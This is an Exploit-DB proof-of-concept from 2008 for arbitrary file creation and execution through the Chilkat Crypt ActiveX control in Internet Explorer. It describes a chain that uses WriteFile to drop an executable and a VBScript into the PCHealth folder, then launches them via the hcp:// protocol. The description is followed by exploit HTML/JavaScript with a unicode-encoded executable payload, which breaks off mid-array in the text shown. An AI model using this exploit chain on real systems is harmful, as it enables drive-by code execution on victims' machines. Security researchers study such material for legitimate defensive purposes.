Exploit-DB #6963
Description: Chilkat Crypt - ActiveX Arbitrary File Creation/Execution
Type: remote
Platform: windows
Date: 2008-11-03
Author: shinnai

Exploit:
-----------------------------------------------------------------------------
 Chilkat Crypt Activex Component Arbitrary File Creation/Execution
 url: http://www.chilkatsoft.com

 File: ChilkatCrypt2.dll
 CLSID: {3352B5B9-82E8-4FFD-9EB1-1A3E60056904}
 ProgID: ChilkatCrypt2.ChilkatCrypt2.1
 Descr.: Chilkat Crypt2

 Marked as:
 RegKey Safe for Script: False
 RegKey Safe for Init: False
 Implements IObjectSafety: True
 IDisp Safe: Safe for untrusted: caller,data
 IPersist Safe: Safe for untrusted: caller,data
 IPStorage Safe: Safe for untrusted: caller,data


 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://www.shinnai.net

 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.

 Tested on Windows XP Professional SP3 all patched, with Internet Explorer 7

 Vulnerable method:
 Function WriteFile (
 	ByVal filename  As String , 
 	ByVal binaryData  As Variant 
 )  As Long

 Description:
 "WriteFile()" method allows to save/overwrite a specified file passed as
 argument to "filename" parameter.
 Through the second parameter "binaryData()", is possible to write
 arbitrary bytes into the created file.
 In this poc you'll see that I:
 
 1) var HelloWorld contains bytes of an executable written in C++ and
    compiled with gcc. The source is simply as follow:

    #include "stdafx.h"
    #include "stdlib.h"
    int main(int argc, char* argv[]){
	    printf("Hello World!\n");
	    system("PAUSE");
	    return 0;}

 2) this file will be written in "c:\HelloWorld.exe"
 3) var myHcpProto symply contains these lines:

    <object classid='clsid:0355854A-7F23-47E2-B7C3-97EE8DD42CD8' id='compatUI'></object>
    <script language='vbscript'>
    compatUI.RunApplication 1, "C:\HelloWorld.exe", 1
    </script>
 
 as you can see, I used a Microsoft control (compatUI.dll) which runs only
 from local machine (remote use is not allowed).

 4) this file will be written in C:\WINDOWS\PCHealth\HelpCtr\System\sysinfo
 5) through the "hcp://" protocol (suggested by rgod), you can execute the
    file.

 Note that I used unicode format because if you just pass to the control
 a string, it will write bytes in unicode way, for example:
 
 test.WriteFile("C:\MyFile.txt", "AA")

 will create a file which will contain these bytes: 41004100
-----------------------------------------------------------------------------
<object classid='clsid:3352B5B9-82E8-4FFD-9EB1-1A3E60056904' id='test'></object>
<script language='javascript'>
 var HelloWorld = unescape("%u5A4D%u0090%u0003%u0000%u0004%u0000%uFFFF%u0000" +
                           "%u00B8%u0000%u0000%u0000%u0040%u0000%u0000%u0000" +
                           "%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000" +
                           "%u0000%u0000%u0000%u0000%u0000%u0000%u0080%u0000" +
                           "%u1F0E%u0EBA%uB400%uCD09%uB821%u4C01%u21CD%u6854" +
                           "%u7369%u7020%u6F72%u7267%u6D61%u6320%u6E61%u6F6E" +
                           "%u2074%u6562%u7220%u6E75%u6920%u206E%u4F44%u2053" +
                           "%u6F6D%u6564%u0D2E%u0A0D%u0024%u0000%u0000%u0000" +
                           "%u4550%u0000%u014C%u0005%uA3DC%u48D7%u1600%u0000" +
                           "%u01CF%u0000%u00E0%u0307%u010B%u3802%u0A00%u0000" +
                           "%u1200%u0000%u0200%u0000%u1220%u0000%u1000%u0000" +
                           "%u2000%u0000%u0000%u0040%u1000%u0000%u0200%u0000" +
                           "%u0004%u0000%u0001%u0000%u0004%u0000%u0000%u0000" +
                           "%u6000%u0000%u0400%u0000%u1E37%u0001%u0003%u0000" +
                           "%u0000%u0020%u1000%u0000%u0000%u0010%u1000%u0000" +
                           "%u0000%u0000%u0010%u0000%u0000%u0000%u0000%u0000" +
                           "%u5000%u0000%u02AC%u0000%u0000%u0000%u0000%u0000" +
                           "%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000" +
                           "%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000" +
                           "%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000" +
                           "%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000" +
                           "%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000" +
                           "%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000" +
                           "%u0000%u0000%u0000%u0000%u742E%u7865%u0074%u0000" +
                           "%u08F4%u0000%u1000%u0000%u0A00%u0000%u0400%u0000" +
                           "%u0000%u0000%u0000%u0000%u0000%u0000%u0060%u6000" +
                           "%u642E%u7461%u0061%u0000%u0040%u0000%u2000%u0000" +
                           "%u0200%u0000%u0E00%u0000%u0000%u0000%u0000%u0000" +
                           "%u0000%u0000%u0040%uC000%u722E%u6164%u6174%u0000" +
                           "%u0100%u0000%u3000%u0000%u0200%u0000%u1000%u0000" +
                           "%u0000%u0000%u0000%u0000%u0000%u0000%u0040%u4000" +
                           "%u622E%u7373%u0000%u0000%u00B0%u0000%u4000%u0000" +
                           "%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000" +
                           "%u0000%u0000%u0080%uC000%u692E%u6164%u6174%u0000" +
                           "%u02AC%u0000%u5000%u0000%u0400%u0000%u1200%u0000" +
                           "%u0000%u0000%u0000%u0000%u0000%u0000%u0040%uC000" +
                           "%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000" +
                           "%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000" +
                           "%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000" +
                           "%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000" +
                           "%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000" +
                           "%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000" +